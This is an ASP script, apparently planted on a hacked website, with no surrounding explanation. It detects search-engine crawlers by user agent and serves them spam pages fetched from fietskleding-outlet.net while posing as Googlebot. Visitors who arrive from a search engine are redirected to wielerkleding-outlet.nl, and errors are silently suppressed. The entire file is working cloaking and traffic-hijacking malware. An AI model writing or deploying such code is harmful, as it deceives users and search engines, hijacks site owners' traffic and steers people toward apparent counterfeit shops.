<%on error resume next function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","Yahoo","bingbot","MSNBot","baiduspider") for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function Function getHTTPPage(URL) Set HTTPReq=Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET",URL,False HTTPReq.setRequestHeader "User-Agent","Googlebot/2.1 (+http://www.googlebot.com/bot.html)" HTTPReq.setRequestHeader "Referer","http://www.google.com/" HTTPReq.send If HTTPReq.readyState<>4 Then Exit Function end if getHTTPPage=Bytes2bStr(HTTPReq.responseBody) Set HTTPReq=Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream=Server.CreateObject("ADODB.Stream") BytesStream.Type=2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position=0 BytesStream.Charset="utf-8" BytesStream.Position=2 StringReturn=BytesStream.ReadText BytesStream.close Set BytesStream=Nothing Bytes2bStr=StringReturn End Function function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) if urlrefer="" then fromse= false searray=array("google","yahoo","bing","msn","baidu") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function if (isspider()=true) then htmls = getHTTPPage("http://www.fietskleding-outlet.net"&request.ServerVariables("QUERY_STRING")) htmls=replace(htmls,"http://www.fietskleding-outlet.net","wiekleding.asp?") response.write htmls end if if (fromse()) then response.redirect("http://www.wielerkleding-outlet.nl") end if %>